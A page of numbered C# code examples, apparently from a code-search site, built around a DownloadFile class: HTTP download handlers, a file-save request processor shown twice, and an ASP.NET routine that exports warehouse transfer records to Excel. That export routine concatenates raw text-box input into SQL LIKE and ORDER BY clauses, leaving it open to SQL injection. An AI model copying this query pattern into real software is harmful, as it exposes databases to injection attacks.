                        }

                        Stream responseStream      = response.GetResponseStream();
                        BinaryReader br            = new BinaryReader(responseStream);
                        int responseTotalBytesRead = 0;
                        byte[] responseBuffer      = br.ReadBytes(4096);

                        while (responseBuffer.Length > 0)
                        {
                            responseTotalBytesRead += responseBuffer.Length;
                            await filestream.WriteAsync(responseBuffer, 0, responseBuffer.Length);
                            responseBuffer = br.ReadBytes(4096);
                        }
                        filestream.Close();

                        Logger.log("DownloadRequestHandler", "Wrote " + responseTotalBytesRead + " bytes");

                        ctx.Post(result => {
                            df.OnComplete((DownloadFileEventArgs)result);
                        }, new DownloadFileEventArgs(filestream.Name, responseTotalBytesRead));
                    } catch (WebException ex) {
                        DownloadException de;
                        // check if we have an expired or self-signed cert
                        if (ex.Status == WebExceptionStatus.UnknownError)
                        {
                            if (ex.Response.Headers.Count == 0 && uri.Scheme == "https")
                            {
                                de = new DownloadException("Invalid SSL certificate, returning a 400 Bad Request");
                            }
                            else
                            {
                                de = new DownloadException("File not found, returning a 404");
                            }
                        }
                        else
                        {
                            de = new DownloadException("400 Bad Request: " + ex.Status.ToString());
                        }
                        if (filestream != null)
                        {
                            filestream.Close();
                        }
                        ctx.Post(result => {
                            df.OnError(new ErrorEventArgs(de));
                        }, null);
                        Logger.log("DownloadRequestHandler", de.Message);
                    }
                }, this);
            }
Example #37
0
 //加载单个音频
 private bool LoadAuido(Audio audio)
 {
     return(DownloadFile.Download(Setting.SEVER_URL + audio.src, "TEMP/" + audio.src.Substring(audio.src.LastIndexOf("/"))));
     //return DownloadFile.Download("http://202.117.216.251:8080/" + audio.src, "TEMP/" + audio.src.Substring(audio.src.LastIndexOf("/")));
 }
Example #38
0
        public TiResponse process(TiRequestParams data)
        {
            if (!data.ContainsKey("url"))
            {
                throw new DownloadException("Request missing 'url' param");
            }

            string url = (string)data["url"];

            if (!url.StartsWith("http://") && !url.StartsWith("https://"))
            {
                throw new DownloadException("'url' param must start with 'http://' or 'https://'");
            }

            string saveTo = "";
            int    p;

            if (data.ContainsKey("saveTo"))
            {
                saveTo = (string)data["saveTo"];
            }
            else
            {
                // try to determine the filename based on the URL
                p = url.LastIndexOf('/');
                if (p > 8 && p != -1)                   // make sure the last / is after the ://
                {
                    saveTo = url.Substring(p + 1);
                }
                else
                {
                    throw new DownloadException("Request missing 'saveTo' param");
                }
            }

            if (saveTo == null || saveTo == "")
            {
                throw new DownloadException("Invalid 'saveTo' param");
            }

            saveTo = saveTo.Replace('\\', '/');

            IsolatedStorageFile isf = IsolatedStorageFile.GetUserStoreForApplication();

            p = saveTo.LastIndexOf('\\');
            if (p != -1)
            {
                string dir = saveTo.Substring(0, p);
                try {
                    if (!isf.DirectoryExists(dir))
                    {
                        isf.CreateDirectory(dir);
                    }
                } catch (IsolatedStorageException ise) {
                    throw new DownloadException("Unable to create destination directory '" + dir + "' because of insufficient permissions or the isolated storage has been disabled or removed");
                }
            }

            if (isf.FileExists(saveTo))
            {
                if (data.ContainsKey("overwrite") && (bool)data["overwrite"])
                {
                    isf.DeleteFile(saveTo);
                }
                else
                {
                    throw new DownloadException("File '" + saveTo + "' already exists");
                }
            }

            IsolatedStorageFileStream fileStream = null;

            try {
                fileStream = isf.CreateFile(saveTo);
            } catch (IsolatedStorageException ise) {
                throw new DownloadException("Unable to create file '" + saveTo + "' because the isolated storage has been disabled or removed");
            } catch (DirectoryNotFoundException dnfe) {
                throw new DownloadException("Unable to create file '" + saveTo + "' because the directory does not exist");
            } catch (ObjectDisposedException dnfe) {
                throw new DownloadException("Unable to create file '" + saveTo + "' because the isolated storage has been disposed");
            }

            TiResponse   response = new TiResponse();
            DownloadFile df       = new DownloadFile(SynchronizationContext.Current, new Uri(url), fileStream);

            response["handle"] = InstanceRegistry.createHandle(df);

            return(response);
        }
		public TiResponse process(TiRequestParams data) {
			if (!data.ContainsKey("url")) {
				throw new DownloadException("Request missing 'url' param");
			}

			string url = (string)data["url"];

			if (!url.StartsWith("http://") && !url.StartsWith("https://")) {
				throw new DownloadException("'url' param must start with 'http://' or 'https://'");
			}

			string saveTo = "";
			int p;

			if (data.ContainsKey("saveTo")) {
				saveTo = (string)data["saveTo"];
			} else {
				// try to determine the filename based on the URL
				p = url.LastIndexOf('/');
				if (p > 8 && p != -1) { // make sure the last / is after the ://
					saveTo = url.Substring(p + 1);
				} else {
					throw new DownloadException("Request missing 'saveTo' param");
				}
			}

			if (saveTo == null || saveTo == "") {
				throw new DownloadException("Invalid 'saveTo' param");
			}

			saveTo = saveTo.Replace('\\', '/');

			IsolatedStorageFile isf = IsolatedStorageFile.GetUserStoreForApplication();

			p = saveTo.LastIndexOf('\\');
			if (p != -1) {
				string dir = saveTo.Substring(0, p);
				try {
					if (!isf.DirectoryExists(dir)) {
						isf.CreateDirectory(dir);
					}
				} catch (IsolatedStorageException ise) {
					throw new DownloadException("Unable to create destination directory '" + dir + "' because of insufficient permissions or the isolated storage has been disabled or removed");
				}
			}

			if (isf.FileExists(saveTo)) {
				if (data.ContainsKey("overwrite") && (bool)data["overwrite"]) {
					isf.DeleteFile(saveTo);
				} else {
					throw new DownloadException("File '" + saveTo + "' already exists");
				}
			}

			IsolatedStorageFileStream fileStream = null;

			try {
				fileStream = isf.CreateFile(saveTo);
			} catch (IsolatedStorageException ise) {
				throw new DownloadException("Unable to create file '" + saveTo + "' because the isolated storage has been disabled or removed");
			} catch (DirectoryNotFoundException dnfe) {
				throw new DownloadException("Unable to create file '" + saveTo + "' because the directory does not exist");
			} catch (ObjectDisposedException dnfe) {
				throw new DownloadException("Unable to create file '" + saveTo + "' because the isolated storage has been disposed");
			}

			TiResponse response = new TiResponse();
			DownloadFile df = new DownloadFile(SynchronizationContext.Current, new Uri(url), fileStream);
			response["handle"] = InstanceRegistry.createHandle(df);

			return response;
		}
Example #40
0
 public FileController()
 {
     obj = new DownloadFile();
 }
Example #41
0
        protected void Confirm_Click(object sender, EventArgs e)
        {
            string sql       = "SELECT ";
            string attribute = "";
            string condition = "";
            string order     = "";

            if (CheckBoxList1.Items[0].Selected == true)//调拨编号
            {
                attribute += CheckBoxList1.Items[0].Value;
            }

            if (CheckBoxList26.Items[0].Selected == true)//计划跟踪号
            {
                attribute += CheckBoxList26.Items[0].Value;
            }

            if (CheckBoxList10.Items[0].Selected == true)//物料编码
            {
                attribute += CheckBoxList10.Items[0].Value;
            }
            if (CheckBoxList11.Items[0].Selected == true)//物料名称
            {
                attribute += CheckBoxList11.Items[0].Value;
            }

            if (CheckBoxList14.Items[0].Selected == true)//规格型号
            {
                attribute += CheckBoxList14.Items[0].Value;
            }

            if (CheckBoxList12.Items[0].Selected == true)//材质
            {
                attribute += CheckBoxList12.Items[0].Value;
            }
            if (CheckBoxList13.Items[0].Selected == true)//国标
            {
                attribute += CheckBoxList13.Items[0].Value;
            }

            if (CheckBoxList15.Items[0].Selected == true)//是否定尺
            {
                attribute += CheckBoxList15.Items[0].Value;
            }
            if (CheckBoxList16.Items[0].Selected == true)//长
            {
                attribute += CheckBoxList16.Items[0].Value;
            }
            if (CheckBoxList17.Items[0].Selected == true)//宽
            {
                attribute += CheckBoxList17.Items[0].Value;
            }
            if (CheckBoxList18.Items[0].Selected == true)//批号
            {
                attribute += CheckBoxList18.Items[0].Value;
            }
            if (CheckBoxList19.Items[0].Selected == true)//单位
            {
                attribute += CheckBoxList19.Items[0].Value;
            }
            if (CheckBoxList20.Items[0].Selected == true)//调拨数量
            {
                attribute += CheckBoxList20.Items[0].Value;
            }
            if (CheckBoxList21.Items[0].Selected == true)//调拨张支
            {
                attribute += CheckBoxList21.Items[0].Value;
            }
            if (CheckBoxList22.Items[0].Selected == true)//调出仓库
            {
                attribute += CheckBoxList22.Items[0].Value;
            }
            if (CheckBoxList23.Items[0].Selected == true)//调出仓位
            {
                attribute += CheckBoxList23.Items[0].Value;
            }
            if (CheckBoxList24.Items[0].Selected == true)//调入仓库
            {
                attribute += CheckBoxList24.Items[0].Value;
            }
            if (CheckBoxList25.Items[0].Selected == true)//调入仓位
            {
                attribute += CheckBoxList25.Items[0].Value;
            }

            if (CheckBoxList3.Items[0].Selected == true)//部门
            {
                attribute += CheckBoxList3.Items[0].Value;
            }

            //if (CheckBoxList5.Items[0].Selected == true)//业务员
            //{
            //    attribute += CheckBoxList5.Items[0].Value;
            //}

            if (CheckBoxList6.Items[0].Selected == true)//保管员
            {
                attribute += CheckBoxList6.Items[0].Value;
            }

            if (CheckBoxList7.Items[0].Selected == true)//制单人
            {
                attribute += CheckBoxList7.Items[0].Value;
            }

            if (CheckBoxList2.Items[0].Selected == true)//调拨日期
            {
                attribute += CheckBoxList2.Items[0].Value;
            }

            //if (CheckBoxList4.Items[0].Selected == true)//验收人
            //{
            //    attribute += CheckBoxList4.Items[0].Value;
            //}

            if (CheckBoxList8.Items[0].Selected == true)//审核人
            {
                attribute += CheckBoxList8.Items[0].Value;
            }

            if (CheckBoxList9.Items[0].Selected == true)//审核日期
            {
                attribute += CheckBoxList9.Items[0].Value;
            }


            if (attribute != "")
            {
                attribute = attribute.Substring(0, attribute.Length - 1);
                sql      += attribute;
                sql      += " FROM View_SM_Allocation ";
            }

            if (TextBox1.Text != "")
            {
                condition += "AND ALCode LIKE '%" + TextBox1.Text + "%' ";
            }
            if (TextBox2.Text != "")
            {
                condition += "AND Date LIKE '%" + TextBox2.Text + "%' ";
            }
            if (TextBox3.Text != "")
            {
                condition += "AND Dep LIKE '%" + TextBox3.Text + "%' ";
            }
            //if (TextBox4.Text != "")
            //{
            //    condition += "AND Acceptance LIKE '%" + TextBox4.Text + "%',";
            //}
            //if (TextBox5.Text != "")
            //{
            //    condition += "AND Clerk LIKE '%" + TextBox5.Text + "%',";
            //}
            if (TextBox6.Text != "")
            {
                condition += "AND Keeper LIKE '%" + TextBox6.Text + "%' ";
            }
            if (TextBox7.Text != "")
            {
                condition += "AND Doc LIKE '%" + TextBox7.Text + "%' ";
            }
            if (TextBox8.Text != "")
            {
                condition += "AND Verifier LIKE '%" + TextBox8.Text + "%' ";
            }
            if (TextBox9.Text != "")
            {
                condition += "AND VerifyDate LIKE '%" + TextBox9.Text + "%' ";
            }
            if (TextBox10.Text != "")
            {
                condition += "AND MaterialCode LIKE '%" + TextBox10.Text + "%' ";
            }
            if (TextBox11.Text != "")
            {
                condition += "AND MaterialName LIKE '%" + TextBox11.Text + "%' ";
            }
            if (TextBox12.Text != "")
            {
                condition += "AND Attribute LIKE '%" + TextBox12.Text + "%' ";
            }
            if (TextBox13.Text != "")
            {
                condition += "AND GB LIKE '%" + TextBox13.Text + "%' ";
            }
            if (TextBox14.Text != "")
            {
                condition += "AND Standard LIKE '%" + TextBox14.Text + "%' ";
            }
            if (TextBox15.Text != "")
            {
                condition += "AND Fixed LIKE '%" + TextBox15.Text + "%' ";
            }
            if (TextBox16.Text != "")
            {
                condition += "AND Length LIKE '%" + TextBox16.Text + "%' ";
            }
            if (TextBox17.Text != "")
            {
                condition += "AND Width LIKE '%" + TextBox17.Text + "%' ";
            }
            if (TextBox18.Text != "")
            {
                condition += "AND LotNumber LIKE '%" + TextBox18.Text + "%' ";
            }
            if (TextBox19.Text != "")
            {
                condition += "AND Unit LIKE '%" + TextBox19.Text + "%' ";
            }
            if (TextBox20.Text != "")
            {
                condition += "AND TZNUM LIKE '%" + TextBox20.Text + "%' ";
            }
            if (TextBox21.Text != "")
            {
                condition += "AND TZFZNUM LIKE '%" + TextBox21.Text + "%' ";
            }
            if (TextBox22.Text != "")
            {
                condition += "AND WarehouseOut LIKE '%" + TextBox22.Text + "' ";
            }
            if (TextBox23.Text != "")
            {
                condition += "AND LocationOut LIKE '%" + TextBox23.Text + "%' ";
            }
            if (TextBox24.Text != "")
            {
                condition += "AND WarehouseIn LIKE '%" + TextBox24.Text + "%' ";
            }
            if (TextBox25.Text != "")
            {
                condition += "AND LocationIn LIKE '%" + TextBox25.Text + "%' ";
            }
            if (TextBox26.Text != "")
            {
                condition += "AND PTC LIKE '%" + TextBox26.Text + "%' ";
            }
            if (condition != "")
            {
                condition = condition.Substring(3, condition.Length - 3);
                //condition = condition.Substring(0, condition.Length - 1);
                sql += " WHERE ";
                sql += condition;
            }

            if (RadioButtonList1.SelectedValue != string.Empty)
            {
                order += RadioButtonList1.SelectedValue;
            }
            if (RadioButtonList2.SelectedValue != string.Empty)
            {
                order += RadioButtonList2.SelectedValue;
            }
            if (RadioButtonList3.SelectedValue != string.Empty)
            {
                order += RadioButtonList3.SelectedValue;
            }
            //if (RadioButtonList4.SelectedValue != null)
            //{
            //    order += RadioButtonList4.SelectedValue;
            //}
            //if (RadioButtonList5.SelectedValue != null)
            //{
            //    order += RadioButtonList5.SelectedValue;
            //}
            if (RadioButtonList6.SelectedValue != string.Empty)
            {
                order += RadioButtonList6.SelectedValue;
            }
            if (RadioButtonList7.SelectedValue != string.Empty)
            {
                order += RadioButtonList7.SelectedValue;
            }
            if (RadioButtonList8.SelectedValue != string.Empty)
            {
                order += RadioButtonList8.SelectedValue;
            }
            if (RadioButtonList9.SelectedValue != string.Empty)
            {
                order += RadioButtonList9.SelectedValue;
            }
            if (RadioButtonList10.SelectedValue != string.Empty)
            {
                order += RadioButtonList10.SelectedValue;
            }
            if (RadioButtonList11.SelectedValue != string.Empty)
            {
                order += RadioButtonList11.SelectedValue;
            }
            if (RadioButtonList12.SelectedValue != string.Empty)
            {
                order += RadioButtonList12.SelectedValue;
            }
            if (RadioButtonList13.SelectedValue != string.Empty)
            {
                order += RadioButtonList13.SelectedValue;
            }
            if (RadioButtonList14.SelectedValue != string.Empty)
            {
                order += RadioButtonList14.SelectedValue;
            }
            if (RadioButtonList15.SelectedValue != string.Empty)
            {
                order += RadioButtonList15.SelectedValue;
            }
            if (RadioButtonList16.SelectedValue != string.Empty)
            {
                order += RadioButtonList16.SelectedValue;
            }
            if (RadioButtonList17.SelectedValue != string.Empty)
            {
                order += RadioButtonList17.SelectedValue;
            }
            if (RadioButtonList18.SelectedValue != string.Empty)
            {
                order += RadioButtonList18.SelectedValue;
            }
            if (RadioButtonList19.SelectedValue != string.Empty)
            {
                order += RadioButtonList19.SelectedValue;
            }
            if (RadioButtonList20.SelectedValue != string.Empty)
            {
                order += RadioButtonList20.SelectedValue;
            }
            if (RadioButtonList21.SelectedValue != string.Empty)
            {
                order += RadioButtonList21.SelectedValue;
            }
            if (RadioButtonList22.SelectedValue != string.Empty)
            {
                order += RadioButtonList22.SelectedValue;
            }
            if (RadioButtonList23.SelectedValue != string.Empty)
            {
                order += RadioButtonList23.SelectedValue;
            }
            if (RadioButtonList24.SelectedValue != string.Empty)
            {
                order += RadioButtonList24.SelectedValue;
            }
            if (RadioButtonList25.SelectedValue != string.Empty)
            {
                order += RadioButtonList25.SelectedValue;
            }
            if (RadioButtonList26.SelectedValue != string.Empty)
            {
                order += RadioButtonList26.SelectedValue;
            }
            if (order != "")
            {
                order = order.Substring(0, order.Length - 1);
                sql  += " ORDER BY ";
                sql  += order;
            }

            System.Data.DataTable dt = DBCallCommon.GetDTUsingSqlText(sql);

            ApplicationClass ac = new ApplicationClass();

            ac.Visible = false;                                // Excel不显示
            Workbook  wkbook  = ac.Workbooks.Add(true);        // 添加工作簿
            Worksheet wksheet = (Worksheet)wkbook.ActiveSheet; // 获得工作表

            ac.DisplayAlerts = false;                          // 关闭提示,采用默认的方案执行(合并单元格的时候,如果两个单元格都有数据,会出现一个确认提示)

            // 设置单元格格式
            //wksheet.get_Range(ac.Cells[6, 1], ac.Cells[dt.Rows.Count + 1, dt.Columns.Count + 1]).NumberFormat = "@";
            //wksheet.get_Range(ac.Cells[6, 1], ac.Cells[dt.Rows.Count + 1, dt.Columns.Count + 1]).Font.Size = 12;

            //设置表头
            ac.Cells[1, 1] = "序号";
            for (int i = 0; i < dt.Columns.Count; i++)
            {
                ac.Cells[1, i + 2] = dt.Columns[i].ColumnName;
            }

            int rowIndex = 2;   // 行
            int colIndex = 2;   // 列

            // 填充数据很简单无非是一个2重循环,下面看起来逻辑很复杂是因为添加了合并单元格的代码
            for (int i = 0; i < dt.Rows.Count; i++)
            {
                ac.Cells[rowIndex, 1] = "'" + (rowIndex - 1).ToString();
                colIndex = 2;
                for (int j = 0; j < dt.Columns.Count; j++)
                {
                    if (dt.Columns[j].DataType == System.Type.GetType("System.DateTime"))
                    {
                        try
                        {
                            // 如果单元格前不加"'",有些字段会自动采用科学计数法
                            ac.Cells[rowIndex, colIndex] = "'" + (Convert.ToDateTime(dt.Rows[i][dt.Columns[j].ColumnName].ToString())).ToString("yyyy-MM-dd");
                        }
                        catch (System.FormatException)
                        {
                            ac.Cells[rowIndex, colIndex] = "";
                        }
                    }
                    else if (dt.Columns[j].DataType == System.Type.GetType("System.String"))
                    {
                        ac.Cells[rowIndex, colIndex] = "'" + dt.Rows[i][dt.Columns[j].ColumnName].ToString();
                    }
                    else
                    {
                        ac.Cells[rowIndex, colIndex] = "'" + dt.Rows[i][dt.Columns[j].ColumnName].ToString();
                    }
                    wksheet.get_Range(ac.Cells[rowIndex, colIndex], ac.Cells[rowIndex, colIndex]).HorizontalAlignment = XlHAlign.xlHAlignLeft;
                    colIndex++;
                }
                rowIndex++;
            }
            string filename = Server.MapPath("/SM_Data/ExportFile/" + "调拨单" + DateTime.Now.ToString("yyyyMMddHHmmssfff") + ".xls");

            wkbook.SaveAs(filename, Type.Missing, Type.Missing, Type.Missing, Type.Missing, Type.Missing, XlSaveAsAccessMode.xlNoChange, Type.Missing, Type.Missing, Type.Missing, Type.Missing, Type.Missing);
            wkbook.Close(Type.Missing, Type.Missing, Type.Missing);
            ac.Quit();
            wkbook = null;
            ac     = null;
            GC.Collect();    // 强制垃圾回收

            if (System.IO.File.Exists(filename))
            {
                DownloadFile.Send(Context, filename);
            }
        }
Example #42
0
 private void DownloadItem_Click(object sender, RoutedEventArgs e)
 {
     DownloadFile?.Invoke(this, EventArgs.Empty);
 }